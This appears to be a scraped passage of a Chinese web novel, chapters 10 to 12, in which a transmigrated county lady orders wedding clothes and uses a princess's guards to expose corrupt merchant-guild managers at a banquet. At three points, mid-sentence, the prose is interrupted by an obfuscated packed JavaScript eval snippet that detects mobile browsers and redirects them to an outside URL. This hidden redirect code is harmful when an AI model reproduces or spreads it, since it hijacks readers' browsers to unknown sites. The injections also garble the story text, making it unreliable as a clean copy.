周掌柜蹙了蹙眉,手指在袖中飞快盘算。就算是最好的绣郎、最上乘的面料,七日虽紧,但也能赶出来。 她松了口气,旋即笑道:“倒没问题。不知郎君的身量尺寸……” 祝凌霜朝池砚的方向抬了抬下巴:“那儿呢。上次他来过,你们应当有记录。” 周掌柜顺着她的目光看去,只见池砚正站在面料架前,小郎君举着一匹青竹纹的绸缎给他看,蓝白锦衣衬得他气质卓然,那张脸更是惊艳得让人过目难忘。 她立刻记了起来,上次这郎君来,还是伙计接待的,当时她还赞过一句“好气度”,便笑着应道:“有有有,上次的尺寸还记着呢,错不了。” 上次池砚来,并没有以祝凌霜的名义,所以周掌柜并不认得他是谁,只当是不知哪家大人的郎君或是新夫罢了。 祝凌霜没多解释,只道:“直接按最好的规格来做,料子用最上乘的,绣工也得是顶尖的。” 周掌柜闻言,心里更是惊讶。 她想起前两次县主成婚,虽也体面,却没这般讲究,只让她“看着安排”,这次竟直接要最高规格。看来,东家是真的看重这位郎君啊。 她连忙应下:“好嘞!小的这就去把最好的布匹拿来,您过过目?” 祝凌霜点头:“嗯,拿来我看看。” 另一边,小郎君正举着那匹青竹纹的绸缎,凑到池砚面前:“哥哥你看这个!这是新到的杭绸,摸着手感多软,绣上竹纹,穿起来准好看!” 池砚看过去,颔首道:“好。” 他倒是不在意穿什么样的衣服,只要该遮的都遮了,就算是破布麻衣往身上套也没关系。 小郎君更高兴了,又翻出另一匹月白色的料子:“那内搭用这个怎么样?衬着青竹纹,又清爽又雅致!我再想想,领口要不要绣朵小兰花?” 看他这股子劲头,倒像是把替人挑衣打扮当成了顶有趣的事。 望着他兴致勃勃的模样,池砚出于礼貌,问道:“还未问小郎君如何称呼?” 小郎君眼珠转了转,道:“程澜。” “好,程郎君,你看着办便是。” 程澜恍然:“我知道。哥哥这样美貌的人确实穿什么都好看。” “……” “对了哥哥,”程澜往祝凌霜的方向瞥了一眼,凑到池砚身边压低声音,“方才那位姐姐——你和她是什么关系呀? 池砚下意识顺着他的目光望过去。 祝凌霜正站在柜台旁,指尖捏着一匹正红金纹的绸缎,周掌柜在旁指着料子上的纹样说着什么。 那正红浓艳,金线绣的缠枝莲在光下闪着亮,一看便知是成婚要用的衣料。 程澜也瞧见了那抹正红,抿了抿唇,却没说话,只直直盯着池砚。 池砚:“……” 见他大有一种不答不罢休的架势,池砚只好硬着头皮道:“是……妻……主。” 三个字说得磕磕绊绊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283151|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一字一顿从齿间蹦出来,带着几分难以掩饰的难为情。 程澜双眼一亮,追问的话脱口而出:“你不喜欢她?” 可转念一想,他又蔫了下去。就算池砚不喜欢那位姐姐,多半也是那位姐姐喜欢池砚,不然怎会要做婚服? 池砚当然也察觉到了,迟疑道:“你……” 程澜小声嘟囔:“成亲了就算了,总不能抢吧……” 池砚:“……” 这小郎君竟是真的对祝凌霜有意思。 接下来,程澜多有些心不在焉,远没有刚开始的热情劲了。 池砚想着已经又定了几套,便道:“就这些吧,麻烦你了。” 程澜道:“那我去叫人来算钱。” 说完,几乎是逃也似的往账柜方向走了。 祝凌霜看得差不多,手里还捏着那两匹正红面料的边角,正想喊池砚也过来瞧瞧,一回头,却见他已经缓步走了过来。 她抬了抬下巴,将两匹料子并在一起递到他面前:“挑完了?正好,来看看婚服的料子。你觉得这个,还是这个更合适?” 两匹都是上等的织金红缎,一匹绣着缠枝莲纹,金线更细,纹样偏雅致;另一匹是并蒂莲纹,金线略粗,看着更显华贵,不细看很难分出差别。 池砚扫过那一片耀眼的正红,目光在纹样上顿了顿,语气带着点茫然:“不是一样的么?” 祝凌霜:“……” 她又低头看了眼两匹料子,轻啧一声:“你这眼神也太不讲究了。你看,这匹是缠枝莲,这匹是并蒂莲,花瓣更饱满,寓意也不一样。” 池砚顺着她的指尖看去,果然看出了细微差别,便颔首:“听你的。” 祝凌霜见他没意见,转头对周掌柜道:“就定这匹并蒂莲的,绣工用双面绣,金线再密些,七日之内务必做好。” “放心东家,小的这就安排最好的绣娘,定不耽误事!”周掌柜连忙应下,小心地将料子收好。 末了,她又问道:“形制赶好后,我们大概后日将婚服送来,先让郎君落上几针?” 婚服都是要出嫁郎君亲自绣两针的,不过也不是所有郎君绣艺都佳,所以一般衣庄也就是送来让人随便两针意思意思。 祝凌霜摇头道:“不必了,你们做完再送来。” 她知道池砚肯定没学过,所以也不必多此一举。 周掌柜虽有些疑惑,却也不好再追问,只点头称是。 祝凌霜和池砚走后,程澜才回到钱柜处。 见他若有所思看着祝凌霜的方向,周掌柜笑道:“一直盯着东家做什么?” “东家?”程澜睁大眼,“那个县主?怎么是那个县主?!” 他脸上浮现变化莫测、极其纠结的神情。 程澜刚来绸缎庄不久,不认识东家也正常。但周掌柜不知道他反应为什么这么大,只道:“是啊,东家又要娶夫了,哦不对,是纳侧。不过,只是纳侧而已,怎么比以前娶夫还看重?” “纳侧?”程澜眼神微亮,“不是娶正夫?” 如果只是侧室的话,那就好办了。他嘴角不禁上扬了些,又探头往门口看了一眼。 周掌柜见他这般不掩心思,面带沉吟:“再怎么说,东家毕竟是县主,身份摆在那儿。你一个小伙计,就算有机会,最多也只能做个侧室。可如今这侧室之位已经定了人,你再凑上去当个侍室,又有什么意思?” 虽说程澜是大掌柜亲自塞进来的,可瞧着他平日里穿的青衫,虽料子上乘,却也只是寻常样式,不像是有显赫家世的样子。 她也是见这几日程澜嘴甜机灵,心里喜欢,才忍不住掏心窝子说这话。 程澜虽然长相不错,但为人侍室,终究不是什么好归处,倒不如以后找个门当户对的老实人,安安稳稳过一辈子。 闻言,程澜却是笑了笑,并没说话。 要当,自然要当正室。 以他的身份,若是奔人为侍,传出去岂不让人笑掉大牙。 不仅他娘他姨母会气个半死,他自己也不可能咽下这口气。 只不过,他没想到,那天那位卿君,居然就是那个“声名在外”的县主。 但似乎,她与传闻中完全不一样呢。 11. 第 11 章 马车稳稳停在祝府大门前,祝凌霜揉着隐隐作痛的额角,长长吁了口气。 见李明熙耗神费力,应付司户和办婚服也没轻松到哪里去。 甫一下车,几个人影便挤进视线。 大门旁,垂手肃立着五个一身玄衣的人,腰配长剑,神情冷漠。 “……” 没看错吧?李明熙的亲卫竟然回来了?! 祝凌霜简直不可置信。这还不到一上午,怎么就回来了?是完成任务了还是任务失败了? 不能失败吧……毕竟原书里调查的任务也是李明熙安排她的亲卫去做的。 但是书里也说了,亲卫至少花了六七天才搜集到大部分证据,这才半天,总不能就…… 估计是看她站原地半天也不过来,为首的亲卫十三已经先行拱手:“县主,任务完成。” 真、真完成了? 能做得这么快,只有一种可能。 还没来越州之前,甚至更早的时候,李明熙就已经派人就搜集完证据,只等来到越州就立刻对这些掌柜一网打尽。 难怪当时一到越州就上祝府来。 现在,祝凌霜终于对当时李明熙脸上明晃晃的疑惑有了答案。 那当然就是:你怎么还活着? 李明熙对她已经是演都不演了,直接摆到明面上来了。 也不知道到底是对她真的信任到这种地步,还是说对于李明熙而言,掌控一个小小的祝凌霜就像捏死一只蚂蚁一样简单。 祝凌霜默默想了想,觉得还是后者可能性更大。 她脚步有些虚浮:“这么快啊……你们先跟我来吧。” 几个亲卫微微垂首。 池砚自觉道:“那我……” 他想着,这种时候可能不需要他在场,毕竟按这里的习惯而言,女子谈正事的时候,男子是应当回避的。 却听祝凌霜道:“你也来,重要的事当然得一起听。” 书房内,祝凌霜接过十三递来的厚厚的一沓纸。 翻开一看,上方是一些记录交易往来的账目。她看了几眼后,递给了池砚:“你帮我仔细瞧瞧。” 她接着看剩下的几张纸。 上面是十三记录下的罪行。 十三的声音清冽疏离:“我们已将几个掌柜的罪行一一罗列,请县主察看是否有疏漏之地。” 这张纸上写着的便不是什么账目,而是用简短了然的字词陈列出的罪行。 盈利上报不实、坐赃商会,受官府委派经管时监守自盗,行贿越州官员…… 祝凌霜翻看的双手微颤。 虽然对这几个掌柜的罪行早有预料,但她还是有些心惊。 不过短短三年,就已经做出了如此多贪赃枉法的事。 以前在小说里看到李明熙查出这些证据时,她内心并无太多波澜。毕竟她站在李明熙的视角看,就是处置几个小喽啰、迈出接手商会的第一步而已。 但现在不一样,她如今的身份,可是这几个掌柜的东家啊! 这些人拿着商会的钱行贿越州官员,用的是商会的名义;监守自盗时经手的官物,是官府委托商会经管的。 一旦东窗事发,官员们为了脱罪,只会把脏水往她这个东家身上泼。 看来这时候,只有神通广大的李明熙能保住她了。当时李明熙也是不知用了什么方法,将无辜的裴老家主给摘出来了的。 祝凌霜干笑两声:“那……这……我……帝姬……哈哈哈……” 十三知道她想说什么,没什么起伏地开口:“遵帝姬令彻查完毕,商会掌柜贪赃、行贿等事,均系其私下所为,与您无涉。” 十三让旁边的亲卫再递上一叠信纸,“恐有污蔑攀咬,证您清白的供词、账目流向、往来信函等证据,已全部备妥,随时可用。” 祝凌霜:! 帝姬想得也太周到了,就连证明她清白的证物都已经准备好了! 她简直想马上去见帝姬,抱着帝姬的大腿痛哭流涕。 一想到接下来可以着手清理商会,她就有些莫名的兴奋。 她问十三:“那接下来,帝姬可有给你们安排什么?” 后续事宜,她可能还需要亲卫在场。因此若她们有事的话,她只能再去见一下帝姬。 十三道:“帝姬吩咐,后续县主若有任何需求,我等可继续协助,无需另行请示。” 帝姬考虑得简直面面俱到,祝凌霜真想表演一个当场落泪,以示感激之心。 得主如此,臣复何求! 她起身:“那好,未免夜长梦多,我们直接实施下一个计划。” 第二日晚。 祝凌霜给几位掌柜发了请帖,言说之前有误会冒犯了几位,要好好犒赏诸位,为商会新一年的营生共商大计,顺便讨论讨论之前几个掌柜提出的分红新政。 得了帖子的各大掌柜们,自然心底存疑。县主此时相邀,只怕另有所图。 可一想到前几日祝凌霜派人来查账,账本收走不过两三日便又原封不动地送了回来,还备上了些许赔礼。 掌柜们心底那点因查账而悬起的石头,又落了回去。 果然还是那个雷声大雨点小、不通庶务的小东家,查账不过是走走过场,与往年并无不同。 席面设在水榭旁,佳肴美酒流水般呈上。 酒过三巡,县主一如既往的好说话,分红新策的事情很快敲定。 几位掌柜见祝凌霜一直没提账目的事,似乎真的只是设宴,心中才慢慢放松下来,相互间推杯换盏,气氛倒也和乐融融。 等众人微醉时,祝凌霜放下酒盏,抚掌轻笑。 “诸位掌柜辛苦一年,今日难得齐聚,光是吃喝未免太过无趣。我呢,特意请了越州最好的傀儡戏班,为大家添个雅兴。演的嘛——诸位不妨好好看看了。” 话音刚一落下,水榭临水的平台上,戏班便举着精巧的木制傀儡登场。 狼傀儡做得面目狰狞,被猎人追赶时哀哀求饶,脱险后却又凶相毕露。 演的竟是一人好心救下中箭之狼,却反被恶狼恩将仇报的一出戏。 席间,祝凌霜托着腮,适时开口:“啧,危难时摇尾乞怜,获救便翻脸无情。说来,我倒是想起来一些陈年旧事。” 她的目光缓缓轻扫过席间几位资历最老的掌柜。 “不知各位可还记得,外祖母当年是如何帮扶诸位的。当年布庄陷入周转绝境,眼看着就要破产,是谁咬牙抽调自家铺子的营收,才填上了那个大窟窿?粮行有位管事,因账目不清险些被治罪,又是谁手下留情,最后仅以革职了结此事?” 座上气氛骤然冷了下来。每个人脸上神情不一。 傀儡狼正张牙舞爪,祝凌霜却收了话,端起微凉的茶,目光淡淡扫向下首强掩不安之人。 “戏文中的恶,终究是演出来的,可若有人,真的将那些忘恩负义的手段,用在我祝裴二府的家业上,那便是的真狼心狗肺了。” 她抬手,从袖中抽几张写满字的薄薄纸页,让人放到锦缎庄张掌柜面前桌案上。 “张掌柜瞧瞧,你去年那批蜀锦,账面亏空两千贯,勾结蓉州交子铺,套现三千贯。这盖着你私印的凭证,要我让戏班演一遍吗?” 张掌柜不自觉吞咽,颤巍巍拿起一张,可只瞧了一眼,手中纸张骤然一滑。 杯碟倾倒,汤汁淋漓。染污了那张她也想不到会出现在这里的、铁证如山的交子铺凭证。 脸色唰地一下惨白如纸,她嘴唇哆嗦着,却一个字也吐不出来。 座上哗然,众人惊疑不定。 祝凌霜却起身,俯视冷汗直流的张掌柜,语气转缓:“念你操劳多年,三日内补齐三千贯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283152|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本息,交回掌柜印,我便不送你见官。” 这看似宽宏的台阶落下,非但没能缓和气氛,反而让席上所有掌柜的汗毛都竖了起来。县主究竟还掌握哪些证物? 张掌柜已经顾不得其他,听到祝凌霜的话,如蒙大赦,连连点头,瘫软在座位上。 米粮掌柜四下观察着众人的神情,她猛地拍桌站起,指着祝凌霜怒喝:“少东家今日这鸿门宴摆得好啊!” 她色厉内荏,环视一周,试图煽动,“这小东家如此翻脸不认人,你们以为她真的会放过你们?我们多年为商会奔波,岂能容她如此——” 话音未落,祝凌霜身后府卫如鬼魅般闪出,瞬间将她反剪按倒,腿弯一击,她的脸贴着冰凉的石板,口中只剩痛呼和含糊的怒骂。 “聒噪。”祝凌霜淡淡道,“堵上她的嘴。” 两个府卫立刻照做。 随后,她看向药行陈掌柜:“去年你那批官药被官府扣押,违约金赔了不少,听说就是她暗中使的绊子?” 要知商会里,米粮、绸缎、盐行三位掌柜最是胆大,三年间私吞的油水,做得半分不遮掩。 其余分支的掌柜也好不到哪去。要么是知情不报、睁一只眼闭一只眼的看客,要么是跟着分一杯羹、捞得不多却也沾了脏的帮凶。 李明熙给的名单里,那位陈掌柜算是个异数,尝试见过原主想要告知她们行径,但原主嘛,只要那些掌柜每月给她的银钱足够,其余的她自然不想管。 寻原主无果之后,陈掌柜又尝试给裴老家主寄信,结果嘛,当然是被有所察觉的其他人秘密拦下了。并且在那之后,陈掌柜一直被其余人打压,欲图逼她主动退出商会。 在这堆贪墨之徒里,陈掌柜竟是难得的清流。 祝凌霜这突然的一出,陈掌柜早已看得目瞪口呆,被点名后浑身一激灵,对上祝凌霜的眼神,连忙点头如捣蒜:“是、是……东家明鉴!” “很好,”祝凌霜满意点头,指着地上挣扎的米粮掌柜,“此人贪得无厌,巧取豪夺,今日更是当众辱骂东家。给台阶也不下,一会儿便直接扭送官府吧。” 席上剩余的掌柜们见状,彻底魂飞天外。 盐行掌柜眼见米粮掌柜的下场,惊骇欲绝,强撑着站起身:“东家……老朽今日突感不适,恐是旧疾犯了,实在支撑不住,望县主允准先行告退……” 说着,便要挪步。 她的一只脚才踏出坐席范围,门口两个看似木头桩子般杵着的府卫,手臂一横,铁铸的枪杆如门闸般,唰地挡在她的面前。 突如其来的一幕,和如同实质的杀气,将盐行掌柜惊得踉跄一步,心头剧震。 步伐沉稳,动作划一。眼神冰冷,带着浓重的血腥煞气,与她先前在祝府见到的那些花架子的护院完全不同。 看上去倒像是训练有素的…… 她猛地回头,目光惊疑不定,又看向祝凌霜身后,死死盯着那处的玄衣护院。 忽然之间,她像是抓住了最后一根救命稻草,大笑道: “好啊!祝余安!你好大的胆子!竟敢私养兵甲!朝廷严禁地方蓄兵,此乃抄家灭族的大罪!我等今日若出半分差错,明日此事定要上达天听!你现在放我们走,我们还能当作今日无事发生——” 声音因激动和恐惧而尖锐变形,她以为自己抓住了祝凌霜的把柄,内心狂喜。 而一直端坐上首,神色淡然的祝凌霜,直到此时,才真正地勾起唇角。 她甚至好整以暇地拿起桌上那半盏尚未饮尽的残酒,小呷了一口,才慢悠悠地开口。 “眼神不济啊。我怎么会是这等知法犯法的人呢?你们不如仔细看看。她们……” 祝凌霜轻笑,看上去无比和煦。可说出的话却让在场人如坠冰窖。 “这可都是——” “帝姬亲卫啊。” 12. 第 12 章 整个水榭,陷入一片死寂。 座下数位掌柜,包括正试图威胁的盐行掌柜在内,在听到“帝姬亲卫”四字的瞬间,只觉一股寒气从脚底板直冲天灵盖。 双膝发软,再也支撑不住,纷纷瘫软在地。酒盏杯碟砸碎一地,昂贵的贡果珍馐咕噜噜滚落。 只有傀儡班子早已停下,那尚未收起的“中山狼”木偶,眼神空洞,似乎在嘲笑满席贪狼末路。 祝凌霜挑眉。 帝姬的名号这么管用么?一说出来所有人都不敢动了。 想了想,倒也觉得合理。 就算是被贬出京的帝姬,再怎么样,那也是皇女,可不是一般人可以冒犯的。 亲卫都是帝姬心腹,反抗她们,不就是公然打帝姬的脸吗? 祝凌霜道:“把犯了事儿的都带下去吧,交给官府处理。” 她的任务就是把这些个蛀虫抓出来,其余的,想必帝姬早有处理的办法。 盐行掌柜任亲卫钳着自己,脸上仍是惊惧交加的神情。 眼看就要被带出院门,她突然疯狂地挣扎起来,仰天长笑:“祝余安!你这个蠢货!你以为投靠帝姬就没事了?你以为我们为什么会这么轻易被抓?等她利用完你,你只会比我们死得更惨!” 祝凌霜面无表情,嘁了一声:“低级的离间。” 一旁的十三侧目,看了她一眼。 祝凌霜仿若不觉,只扫过院中已经认命的众人,道:“此番多谢相助。眼下人已尽数擒获,后续没什么需要忙的了,你便带人回帝姬身边复命吧,把这里的情形一一禀明。” 十三颔首,转身就走。 等人都走光后,府内侍从开始收拾院中残局,祝凌霜才抬步离开。 刚踏出院门,夜风裹着一句温声骤然漫来。 “才出来啊,是里头的事绊住了?” 很突然,但祝凌霜并没有猝不及防的惊惶。 因为那声音太温和,像浸了月光的水,漫得缓,却裹得密。 她侧过眸。 墙根下斜斜倚着个人,月色剪着他半明半暗的轮廓。 见她望来,唇边漾开浅淡的弧度,又轻缓道:“今晚想必是很累了。” 祝凌霜笑了笑:“还好,说的话都是提前备好的,我就是照着稿子念,没什么累的。这么晚了,你怎么在这儿?” 池砚笑道:“哪能让‘老板’独自在前头忙活?我这做下属的,总得过来瞧瞧。” “你一直在这儿吗?” 池砚摇头:“没有,刚到一会儿。” 祝凌霜颔首,抬步往外走:“一起?” “好。” 两个人的住的院子离得近,刚好顺路。 祝凌霜道:“还好你昨夜跟我好好分析了那些个什么分红方案还有商会里的条条框框,不然我今日都听不懂她们在说什么,没办法跟这些老狐狸扯皮。” 池砚道:“能帮到你便好。” 祝凌霜想了想,又随口问道:“还住得惯吗?院子里的人可还勤快?” 池砚一一答道:“住得惯。很勤快。” “那就好。” 闲聊了一会儿,寒暄的话都说完后,两人一阵无言。 其实两人似乎也没有熟到哪种程度,毕竟也才相处了几天。这下一起走夜路,多多少少还是有些局促。 静了少顷,池砚道:“我方才在院外时,听到被拖走之人说的话了。” 祝凌霜看向他。 他说道:“你有仔细想过她说的那些话吗?” 耳边又响起盐行掌柜穷途末路时的凄厉声音。 祝凌霜摇了摇头。 “还需要想什么呢?”寂静的夜色里,她缓缓叹出一口气,“我哪里有别的选择。” 她在这个故事里的身份,本就尴尬得多余。 原书的剧情早有定数,李明熙抵达越州前,原主祝余安必死。 唯有她这个裴祝两家的独苗没了,无后的裴老家主,才会重新考量越州商会的百年归属。 而越州商会,是李明熙夺位路上必须攥紧的筹码。 没了这股势力,她的复仇之路会变得更加艰难。 皇后、太子,连带着太子的孩子,都死在了那场巫蛊案里。自小在皇后膝下长大的李明熙,从未忘记过要为他们报仇。 如今“祝余安”不仅没死,还活得好好的,可李明熙也绝不会因此放弃商会。 以李明熙的性子,或许不会主动对她动手,不会伤她性命,但也绝容不得她挡在回京复仇的路上。 与其等着李明熙来处置,倒不如主动投诚。 就算是被利用,又能怎样? 她有得选吗? 更何况,她早疑心李明熙是重生的。 在前世本就是赢家的李明熙,如今还带着前世记忆归来,只会比前世更强。 且不说她根本不想与李明熙为敌,再者,就算是想要和李明熙对立,她这点微末之力,又能拿什么去对抗? 闻言,池砚陷入了静默。 祝凌霜猜不透他垂眸时在盘算什么,但看他紧绷的神色,便知他定是将此事视作了生死攸关的危机。 毕竟如今,他们的性命攥在了别人手里。 她反倒看得开,语气轻松:“放心,帝姬不会对我们怎么样的。” 李明熙本就是标准的正道女主,纵使杀伐果决、为了复仇步步为营,却也绝不会随便将无辜之人的性命搭进去。 这也是为什么即使祝凌霜还活着,李明熙也没有直接粗暴地,将她一刀了结完事。 池砚缓缓道:“人一旦踏进身不由己的河,结局多半溺得难看。” 祝凌霜闻言抬眼,眼尾一弯:“怕什么?真到浪头打来之前,我会先把你抛上岸。” 尾音落下,池砚沉默了片刻。 远处传来几声寥落的梆子沉响,狭长的回廊之下,寂静浓稠。 “可是,这算认命吗?”池砚终于开口,声音依旧温和,听上去却没有任何波澜。 祝凌霜脚步微顿,侧头看向他。 月光落在他半张脸上,另一半沉在廊柱的阴影里。 那双总是含着浅浅笑意的眼睛,此刻却深邃得如同院墙外的夜色,辨不清其中的情绪,只余下一点星子般微冷的光。 “不,这不是认命,是得过且过。” 祝凌霜收回视线,轻轻叹了口气。 “我知道自己几斤几两,知道河有多深多急。与其,抱着不切实际的幻想,在挣扎中耗尽力气,最终沉底,不如趁着尚有余力时,找一个不那么坏的方向,拼力一搏。 “投靠帝姬,就是我赌的‘搏’。但……也仅此而已了。向她投诚,为她做事,各取所需。就这样走一步看一步。你说,这难道算认命吗?” 池砚一直安静地听着,直到祝凌霜话音彻底落下。 他没有立刻回应,只是脚步与她保持一致。 两人并肩穿过一段小径,高大的杏树过墙而来,遮掩着月色,祝凌霜看不清他的神情。 走到一处相对开阔的庭院转折处,一株繁茂的古木立于正中,树影浓重。 池砚忽然停下。 祝凌霜也随之停下,回身看他,目光略带询问。 池砚站在那片树影的边界,半边身子沐着银辉,半边浸在墨色。 他终于抬眼,清晰地迎上祝凌霜的视线。 “可一个人连自己何时生、何时死都做不了主,只能如提线木偶一般,任人宰割,你或许,不曾经历。” 他再度开口,却不似以往温和,是沉着声。 祝凌霜不禁怔了怔:“你前世,到底发生过什么?” 在池砚的人生里,她所知道的那部分中,池砚虽然对养父母心软过几次,却从不是任人拿捏摆布的性子。 她不知道池砚的前世最后究竟发生了什么,才让他如此沉郁、多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283153|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑,连对活着都抱着近乎本能的警惕。 她只看得见他此刻垂眸时,长睫在眼下投出的淡淡阴影,像把什么沉重的过往都藏在了里面。 是见过太多身不由己的溺亡,还是自己曾在那河里挣扎过太久? 池砚没回答。对他而言,似乎是一段不愿提起的过往。 祝凌霜低眉,想了想,道:“从前的我,也从来都不是我自己。爸妈给我安排好的路,我不想走。我反抗过,却无一失败。我根本不想学理,不想学计算机,更不想当什么程序员,可我没有办法。我知道,我这点身不由己,跟你的过往比起来,根本不值一提。但——” 她向前走了一小步,离他近了些。 “但我活了两辈子,最大的心得,其实很简单。那就是,世事如棋,莫测其终。未来太过飘渺,往事又多沉疴。人唯一能紧紧攥在手心、真实尝到滋味的——只有当下这一瞬,这一刻。” “池砚。”她第一次郑重地叫了他的名字。 池砚抬眸,很慢很慢地眨了下眼。 她说:“我不知道明天会发生什么,后天又会如何。我也无法保证,我们走的每一步都是完全正确的。但至少——” 她目光灼灼,语气略带固执,“至少现在,我能站在这里,看着你的眼睛,告诉你——别担心。” 她的话语中没有空泛的承诺,没有对未卜前途的畏惧,只有一种近乎豁达的务实。 她在告诉他:既然改变不了昨日,又决定不了明天,那为什么不让自己在力所能及的“此刻”,过得踏实些? 四周很静,池砚看着她,终是轻笑出声。很低,很轻,却在这寂静的夜里格外清晰。 祝凌霜微微挑眉,又唤了他一声。 “池郎君。” 她快步向前走了几步,忽地转身,背着手站定,眼底盛着笑: “我们都是死过一次的人了,何必再给自己添那么多压力和忧心?只要知道能活着,甚至能好好活着,不就够了吗?” 朦胧的夜色里,月辉落在她的侧颜,像是泛着光,如玉的脸上笑意盎然。 她说:“因此啊,别再想那么多了,也别再忧心。过好当下,便是最好的了。” 池砚看着她,良久,忽然轻轻叹了口气,“我们不是合作吗?” “嗯?是啊。”祝凌霜有些疑惑地眨眼,“怎么了?” “所以,为何把所有事都揽在自己身上?抛人上岸,从来不是一个人该做的。” 他垂眸看向她,眼底的沉郁散了些,竟也染了点月色的柔:“真到浪头打来时,也该一起才是。” 见他居然又把话抛回到那么久远前的话题,祝凌霜愣了愣,随即笑出声:“行啊,那便一起。” 两人又走了一段路,祝凌霜已经到了自己的院子外。 她的院子要比池砚近。毕竟,男眷的住所总是要更深处些。 祝凌霜踏上台阶,回头,池砚正站在下方,目送着她。 池砚先前因忧虑而蹙起的眉,眼下倒已经舒展不少。见她回头,弯眸笑了笑。 夜风卷着回廊的凉意掠过,祝凌霜轻挥了挥手:“不管以前怎样,这次不一样。我们今生的任务,就是活着,每天都睡好觉。夜色不早了,你也快些回去吧。” 池砚莞尔:“好,我会的。” 他目送着,直到她的身影轻盈地踏上台阶,消失在院门后,才收回目光。 院门处的灯笼光晕温煦,却仍然没有穿透他眼底沉寂的薄冰。 片刻的静谧后,他低喃自语。 “最后那一年,每一步落子,都在它指尖。我想向左,被推向右;想停下,被逼向前。哪怕明知前方是悬崖,也会被一股无形的力,推着,踏过去。” 声音不高,语速平缓,如同讲述一段与他无关的过往,没有颤抖,没有激烈的情绪。 “所以,这样无形的推手……是否也会跨过生死,追到这里?”